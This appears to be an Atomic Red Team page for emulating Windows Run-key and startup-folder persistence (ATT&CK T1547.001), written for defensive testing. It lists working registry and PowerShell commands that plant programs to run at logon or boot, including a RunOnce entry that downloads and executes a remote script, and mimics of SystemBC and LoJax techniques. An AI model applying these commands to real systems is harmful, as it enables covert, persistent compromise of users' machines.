Try it using Invoke-Atomic

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Description from ATT&CK

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

The following run keys are created by default on Windows systems:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.

The following Registry keys can be used to set startup folder items for persistence:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

The following Registry keys can control automatic startup of services during boot:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run automatically for the currently logged-on user.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to **autocheck autochk ***. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Atomic Tests

Atomic Test #1 - Reg Key Run

Run Key Persistence

Upon successful execution, cmd.exe will modify the registry by adding \"Atomic Red Team\" to the Run key. Output will be via stdout.

Supported Platforms: windows

auto_generated_guid: e55be3fd-3521-4610-9d1a-e210e42dcf05

Inputs:

Name Description Type Default Value
command_to_execute Thing to Run path C:\Path\AtomicRedTeam.exe

Attack Commands: Run with command_prompt!

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REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}"

Cleanup Commands:

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REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /f >nul 2>&1

Atomic Test #2 - Reg Key RunOnce

RunOnce Key Persistence.

Upon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout.

Supported Platforms: windows

auto_generated_guid: 554cbd88-cde1-4b56-8168-0be552eed9eb

Inputs:

Name Description Type Default Value
thing_to_execute Thing to Run path C:\Path\AtomicRedTeam.dll

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

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REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "#{thing_to_execute}"

Cleanup Commands:

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REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f >nul 2>&1

Atomic Test #3 - PowerShell Registry RunOnce

RunOnce Key Persistence via PowerShell Upon successful execution, a new entry will be added to the runonce item in the registry.

Supported Platforms: windows

auto_generated_guid: eb44f842-0457-4ddc-9b92-c4caa144ac42

Inputs:

Name Description Type Default Value
thing_to_execute Thing to Run path powershell.exe
reg_key_path Path to registry key to update path HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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$RunOnceKey = "#{reg_key_path}"
set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`")"'

Cleanup Commands:

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Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun" -Force -ErrorAction Ignore

Atomic Test #4 - Suspicious vbs file run from startup Folder

vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001 Hello, World VBS!" will be displayed twice. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.

Supported Platforms: windows

auto_generated_guid: 2cb98256-625e-4da9-9d44-f2e5f90b8bd5

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"

Cleanup Commands:

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Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" -ErrorAction Ignore

Atomic Test #5 - Suspicious jse file run from startup Folder

jse files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001 Hello, World JSE!" will be displayed twice. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.

Supported Platforms: windows

auto_generated_guid: dade9447-791e-4c8f-b04b-3a35855dfa06

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Copy-Item "$PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
Copy-Item "$PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
cscript.exe /E:Jscript "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
cscript.exe /E:Jscript "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"

Cleanup Commands:

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Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" -ErrorAction Ignore

Atomic Test #6 - Suspicious bat file run from startup Folder

bat files can be placed in and executed from the startup folder to maintain persistance

Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.

Supported Platforms: windows

auto_generated_guid: 5b6768e4-44d2-44f0-89da-a01d1430fd5e

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Copy-Item "$PathToAtomicsFolder\T1547.001\src\batstartup.bat" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
Copy-Item "$PathToAtomicsFolder\T1547.001\src\batstartup.bat" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"

Cleanup Commands:

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Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" -ErrorAction Ignore

Atomic Test #7 - Add Executable Shortcut Link to User Startup Folder

Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists.

Supported Platforms: windows

auto_generated_guid: 24e55612-85f6-4bd6-ae74-a73d02e3441d

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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$Target = "C:\Windows\System32\calc.exe"
$ShortcutLocation = "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk"
$WScriptShell = New-Object -ComObject WScript.Shell
$Create = $WScriptShell.CreateShortcut($ShortcutLocation)
$Create.TargetPath = $Target
$Create.Save()

Cleanup Commands:

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Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk" -ErrorAction Ignore

Atomic Test #8 - Add persistance via Recycle bin

Add a persistance via Recycle bin vxunderground User have to clic on the recycle bin to lauch the payload (here calc)

Supported Platforms: windows

auto_generated_guid: bda6a3d6-7aa7-4e89-908b-306772e9662f

Inputs:

None

Attack Commands: Run with command_prompt!

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reg ADD "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command" /ve /d "calc.exe" /f

Cleanup Commands:

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reg DELETE "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" /f

Atomic Test #9 - SystemBC Malware-as-a-Service Registry

This Atomic will create a registry key called socks5_powershell for persistance access https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c

Supported Platforms: windows

auto_generated_guid: 9dc7767b-30c1-4cc4-b999-50cab5e27891

Inputs:

Name Description Type Default Value
reg_key_value Thing to Run path powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File
reg_key_path Path to registry key to update path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run

Attack Commands: Run with powershell!

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$RunKey = "#{reg_key_path}"
Set-ItemProperty -Path $RunKey -Name "socks5_powershell" -Value "#{reg_key_value}"

Cleanup Commands:

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Remove-ItemProperty -Path #{reg_key_path} -Name "socks5_powershell" -Force -ErrorAction Ignore

Atomic Test #10 - Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value

This test will modify the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders -V "Common Startup" value to point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart

Supported Platforms: windows

auto_generated_guid: acfef903-7662-447e-a391-9c91c2f00f7b

Inputs:

Name Description Type Default Value
new_startup_folder new startup folder to replace standard one string $env:TMP\atomictest\
payload executable to be placed in new startup location string C:\Windows\System32\calc.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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New-Item -ItemType Directory -path "#{new_startup_folder}"
Copy-Item -path "#{payload}" -destination "#{new_startup_folder}"
Set-ItemProperty -Path  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "#{new_startup_folder}"

Cleanup Commands:

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Set-ItemProperty -Path  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
Remove-Item "#{new_startup_folder}" -Recurse -Force

Atomic Test #11 - Change Startup Folder - HKCU Modify User Shell Folders Startup Value

This test will modify the HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders -V "Startup" value to point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart

Supported Platforms: windows

auto_generated_guid: 8834b65a-f808-4ece-ad7e-2acdf647aafa

Inputs:

Name Description Type Default Value
new_startup_folder new startup folder to replace standard one string $env:TMP\atomictest\
payload executable to be placed in new startup location string C:\Windows\System32\calc.exe

Attack Commands: Run with powershell!

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New-Item -ItemType Directory -path "#{new_startup_folder}"
Copy-Item -path "#{payload}" -destination "#{new_startup_folder}"
Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "#{new_startup_folder}"

Cleanup Commands:

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Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
Remove-Item "#{new_startup_folder}" -Recurse -Force

Atomic Test #12 - HKCU - Policy Settings Explorer Run Key

This test will create a new value under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run to launch calc.exe on boot. *Requires reboot

Supported Platforms: windows

auto_generated_guid: a70faea1-e206-4f6f-8d9a-67379be8f6f1

Inputs:

Name Description Type Default Value
target_key_value_name registry value to crate on target key string atomictest
payload payload to execute string C:\Windows\System32\calc.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
  New-Item -ItemType Key -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}"

Cleanup Commands:

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Remove-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}"

Atomic Test #13 - HKLM - Policy Settings Explorer Run Key

This test will create a HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run key value to launch calc.exe on boot. *Requires reboot

Supported Platforms: windows

auto_generated_guid: b5c9a9bc-dda3-4ea0-b16a-add8e81ab75f

Inputs:

Name Description Type Default Value
target_key_value_name registry value to crate on target key string atomictest
payload payload to execute string C:\Windows\System32\calc.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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if (!(Test-Path -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
  New-Item -ItemType Key -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}"

Cleanup Commands:

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Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}"

Atomic Test #14 - HKLM - Append Command to Winlogon Userinit KEY Value

This test will append a command to the HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit value to launch calc.exe on boot.

  • Requires reboot

Supported Platforms: windows

auto_generated_guid: f7fab6cc-8ece-4ca7-a0f1-30a22fccd374

Inputs:

Name Description Type Default Value
payload what to run string C:\Windows\System32\calc.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit");
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit-backup" -Value "$oldvalue";
$newvalue = $oldvalue + " #{payload}";
Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$newvalue"

Cleanup Commands:

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$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup');
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$oldvalue";
Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup'

Atomic Test #15 - HKLM - Modify default System Shell - Winlogon Shell KEY Value

This test change the default value of HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell from "explorer.exe" to the full path of "C:\Windows\explorer.exe" to log a change to the key's default value without breaking boot sequence. An atacker will alternatively replace this with a custom shell.

Supported Platforms: windows

auto_generated_guid: 1d958c61-09c6-4d9e-b26b-4130314e520e

Inputs:

Name Description Type Default Value
payload what to run string C:\Windows\explorer.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell");
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell-backup" -Value "$oldvalue";
$newvalue = $oldvalue + ", #{payload}";
Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$newvalue"

Cleanup Commands:

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$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup');
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$oldvalue";
Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup'

Atomic Test #16 - secedit used to create a Run key in the HKLM Hive

secedit allows to manipulate the HKLM hive of the Windows registry. This test creates a Run key with the keyname calc having calc.exe as the value in the HKLM hive. Reference

Supported Platforms: windows

auto_generated_guid: 14fdc3f1-6fc3-4556-8d36-aa89d9d42d02

Inputs:

Name Description Type Default Value
ini_file INI config template string $PathToAtomicsFolder\T1547.001\src\regtemplate.ini
secedit_db Custom secedit db string mytemplate.db

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

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secedit /import /db #{secedit_db} /cfg "#{ini_file}"
secedit /configure /db #{secedit_db}

Cleanup Commands:

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REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "calc" /f >nul 2>&1

Atomic Test #17 - Modify BootExecute Value

This test modifies the BootExecute registry value to "autocheck autoche *", which can be used to simulate an adversary's attempt to tamper with the system's boot process. Reference - https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf NOTE that by not saving the correct value, you may inhibit your system from booting properly. Only run on a test system. There is a reg export before running the Atomic.

Supported Platforms: windows

auto_generated_guid: befc2b40-d487-4a5a-8813-c11085fb5672

Inputs:

Name Description Type Default Value
registry_value Registry value to set string autocheck autoche *

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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if (!(Test-Path "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg")) { reg.exe export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" /y }
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "BootExecute" -Value "#{registry_value}" -Type MultiString

Cleanup Commands:

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reg.exe import "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg"
Remove-Item -Path "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" -Force

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